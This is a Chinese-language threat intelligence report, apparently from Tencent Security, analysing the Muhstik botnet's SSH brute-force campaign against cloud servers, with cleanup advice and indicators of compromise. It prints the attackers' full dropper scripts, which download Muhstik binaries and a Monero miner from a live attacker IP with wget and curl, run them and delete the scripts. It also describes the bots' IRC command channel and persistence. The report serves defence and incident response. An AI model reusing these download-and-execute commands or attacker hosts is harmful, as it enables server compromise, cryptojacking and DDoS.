一、概述 腾讯安全威胁情报中心检测到大量源自境外IP及部分国内IP针对国内云服务器租户的攻击。攻击者通过SSH(22端口)爆破登陆服务器,然后执行恶意命令下载Muhstik僵尸网络木马,组建僵尸网络并控制失陷服务器执行SSH横向移动、下载门罗币挖矿木马和接受远程指令发起DDoS攻击。 腾讯安全威胁情报中心经过用户授权,对此次攻击进行溯源分析,发现国内多家知名企业的云服务器均受到该僵尸网络攻击,目前已有上千台服务器沦陷受害。网盾科技建议相关企业采取必要措施,拦截入侵者,恢复已失陷的系统。 二、样本分析 云防火墙检测到多例弱口令爆破攻击,告警信息显示源IP为98.172.225.26正通过22端口爆破攻击云服务器。 通过爆破攻击记录进行分析发现,攻击源IP来自美国、德国、俄罗斯、意大利等多个国家,其中美国较多。攻击者对单个主机进行爆破登陆次数平均为100次左右。部分攻击源IP列表如下: 爆破攻击时使用的部分账号名为:root、oracle、postgres、git、test 爆破登陆成功后利用wget命令下载shell脚本http[:]//167.99.39.134/.x/1sh、http[:]//167.99.39.134/.x/2sh、http[:]//167.99.39.134/.x/3sh并执行。 1sh脚本代码如下: wget http[:]//167.99.39.134/.x/pty1 -O ar/run/pty1; chmod +x ar/run/pty1; chmod 700 ar/run/pty1; ar/run/pty1 & wget http[:]//167.99.39.134/.x/pty2 -O ar/run/pty2; chmod +x ar/run/pty2; chmod 700 ar/run/pty2; ar/run/pty2 & wget http[:]//167.99.39.134/.x/pty5 -O ar/run/pty5; chmod +x ar/run/pty5; chmod 700 ar/run/pty5; ar/run/pty5 & wget http[:]//167.99.39.134/.x/pty11 -O ar/run/pty11; chmod +x ar/run/pty11; chmod 700 ar/run/pty11; ar/run/pty11 & wget http[:]//167.99.39.134/.x/pty3 -O pty3; chmod +x pty3 ; chmod 700 pty3 ; ./pty3 & wget http[:]//167.99.39.134/.x/pty10 -O pty10; chmod +x pty10 ; chmod 700 pty10 ; ./pty10 & wget http[:]//167.99.39.134/.x/pty4 -O pty4; chmod +x pty4 ; chmod 700 pty4 ; ./pty4 & wget http[:]//167.99.39.134/.x/pty3 -O ar/tmp/pty3; chmod +x ar/tmp/pty3 ; chmod 700 ar/tmp/pty3 ; ar/tmp/pty3 & wget http[:]//167.99.39.134/.x/pty3 -O ar/run/pty3; chmod +x ar/run/pty3; chmod 700 ar/run/pty3; ar/run/pty3 & rm -rf ar/run/1sh 1sh有以下功能: wget下载pty1、pty2、pty5、pty11释放到/var/run/目录下,赋予可执行权限并启动; wget下载pty3、pty10、pty4到当前目录下,赋予可执行权限并启动; wget下载pty3到/var/tmp/和/var/run/目录下,赋予可执行权限并启动; 删除脚本自身。 2sh脚本代码如下: wget http[:]//167.99.39.134/.x/pty1 -O /tmp/pty1 ; chmod +x /tmp/pty1 ; chmod 700 /tmp/pty1 ; /tmp/pty1 ; cp /binsybox /tmp/loop0 ; cat /tmp/pty1 > /tmp/loop0 ; /tmp/loop0 & wget http[:]//167.99.39.134/.x/pty2 -O /tmp/pty2 ; chmod +x /tmp/pty2 ; chmod 700 /tmp/pty2 ; /tmp/pty2 ; cp /binsybox /tmp/loop1 ; cat /tmp/pty2 > /tmp/loop1 ; /tmp/loop1 & wget http[:]//167.99.39.134/.x/pty11 -O /tmp/pty11 ; chmod +x /tmp/pty11 ; chmod 700 /tmp/pty11 ; /tmp/pty11 ; cp /binsybox /tmp/loop1 ; cat /tmp/pty11 > /tmp/loop1 ; /tmp/loop1 & wget http[:]//167.99.39.134/.x/pty10 -O /tmp/pty10 ; chmod +x /tmp/pty10 ; chmod 700 /tmp/pty10 ; /tmp/pty10 ; cp /binsybox /tmp/loop2 ; cat /tmp/pty10 > /tmp/loop2 ; /tmp/loop2 & wget http[:]//167.99.39.134/.x/pty4 -O /tmp/pty4 ; chmod +x /tmp/pty4 ; chmod 700 /tmp/pty4 ; /tmp/pty4 ; cp /binsybox /tmp/loop3 ; cat /tmp/pty4 > /tmp/loop3 ; /tmp/loop3 & wget http[:]//167.99.39.134/.x/pty5 -O /tmp/pty5 ; chmod +x /tmp/pty5 ; chmod 700 /tmp/pty5 ; /tmp/pty5 ; cp /binsybox /tmp/loop3 ; cat /tmp/pty5 > /tmp/loop4 ; /tmp/loop4 & rm -rf /tmp/2sh 2sh有以下功能: wget下载pty1、pty2、pty11、pty10、pty4、pty5到/tmp/目录下,赋予可执行权限并启动; 将下载的文件拷贝到/tmp/目录下,重命名为loop0、loop1(pty2和pty11)、loop2、loop3、loop4并启动; 删除脚本自身。 3sh脚本代码如下: curl http[:]//167.99.39.134/.x/pty10 -o pty10 ; chmod +x pty10 ; chmod 700 pty10 ; ./pty10 curl http[:]//167.99.39.134/.x/pty3 -o pty3; chmod +x pty3 ; chmod 700 pty3 ; ./pty3 curl http[:]//167.99.39.134/.x/pty4 -o pty4; chmod +x pty4 ; chmod 700 pty4 ; ./pty4 curl http[:]//167.99.39.134/.x/pty10 -o /tmp/pty10 ; chmod +x /tmp/pty10 ; chmod 700 /tmp/pty10 ; /tmp/pty10 & curl http[:]//167.99.39.134/.x/pty1 -o /tmp/pty1; chmod +x /tmp/pty1; chmod 700 /tmp/pty1; /tmp/pty1 & curl http[:]//167.99.39.134/.x/pty2 -o /tmp/pty2; chmod +x /tmp/pty2; chmod 700 /tmp/pty2; /tmp/pty2 & curl http[:]//167.99.39.134/.x/pty5 -o /tmp/pty5; chmod +x /tmp/pty5; chmod 700 /tmp/pty5; /tmp/pty5 & curl http[:]//167.99.39.134/.x/pty11 -o /tmp/pty11; chmod +x /tmp/pty11; chmod 700 /tmp/pty11; /tmp/pty11 & 3sh有以下功能: curl下载pty10、pty3、pty4到当前目录,赋予可执行权限并启动; curl下载pty10、pty1、pty2、pty5、pty11到/tmp/目录,赋予可执行权限并启动。 分析发现,pty*属于Muhstik僵尸网络Muhstik组件。Muhstik在2018年3月左右被发现,具有蠕虫式的自我传播能力,使用多个漏洞利用来感染Linux服务,如Weblogic、WordPress和Drupal。该僵尸网络还会感染IoT路由器,如GPON家用路由器、DD-WRT路由器和Tomato路由器等。 pty*运行后会将自身拷贝到以下目录,并将其安装为crontab定时任务,/etc/inittab系统启动项进行持久化。 /dev/shm/pty4 /var/tmp/pty4 /var/lock/pty4 /var/run/pty4 Muhstik感染设备后,会发送一个connect命令到IRC服务器,通过Connect命令中含有设备的昵称(nickname)来加入到信道中。然后服务器响应一个含有BotnetID的PING命令,受感染的设备会回复一个含有BotnetID的PONG。 一旦nickname构造好,并分配给受感染的客户端后,IRC服务器就会接受主机作为信道中的客户端,并发送一个MOTD (Message of the Day)给客户端。最后,受害者设备发送一个命令到加入名为ei的信道,通过该信道接收僵尸网络的控制命令。 muhstik.c2.list 会向bot发起指令,要求其执行扫描、SSH横向扩展、xmrig挖矿或者发起DDoS攻击。 Muhstik僵尸网络会在感染机器下载门罗币挖矿木马http[:]//167.99.39.134/xmra64到/tmp/xmra64或/[user]/xmra64目录下并启动挖矿。 三、安全建议: 网盾科技专家建议企业Linux系统管理员及时修复高危漏洞,避免使用弱口令,以防服务器被远程攻击。可参考以下步骤手动检查、清除Muhstik僵尸网络病毒。 1.查找以下文件,kill其进程并删除文件: (user为root、oracle、postgres、root、git、test其中之一) /var/run/pty1 /var/run/pty2 /var/run/pty3 /var/run/pty5 /var/run/pty11 /home/[user]/pty3 /home/[user]/pty10 /home/[user]/pty4 /tmp/pyt1 /tmp/pyt2 /tmp/pyt3 /tmp/pyt4 /tmp/pyt5 /tmp/pyt10 /tmp/pyt11 /tmp/loop0 /tmp/loop1 /tmp/loop2 /tmp/loop3 /tmp/loop4 /tmp/xmra64 /home/[user]/xmra64 /dev/shm/pty4 /var/tmp/pty4 /var/lock/pty4 /var/run/pty4 2.crontab -l查看定时任务中是否包含以上pty文件相关内容,如有将其删除。 3.cat /etc/inittab查看Linux系统启动任务中是否包含以上pty文件相关内容,如有将其删除。 IOCs IP 167.99.39.134 165.227.78.159 128.199.251.119 C2: irc.de-zahlung.eu irc.deutschland-zahlung.net md5 URL http[:]//167.99.39.134/.x/1sh http[:]//167.99.39.134/.x/2sh http[:]//167.99.39.134/.x/3sh http[:]//167.99.39.134/.x/pty10 http[:]//167.99.39.134/.x/pty3 http[:]//167.99.39.134/.x/pty4 http[:]//167.99.39.134/.x/pty1 http[:]//167.99.39.134/.x/pty2 http[:]//167.99.39.134/.x/pty5 http[:]//167.99.39.134/.x/pty11 http[:]//167.99.39.134/xmra64 http[:]//ntg.deutschland-zahlung.net/ntg http[:]//165.227.78.159/.p/i586 http[:]//128.199.251.119/.x/arion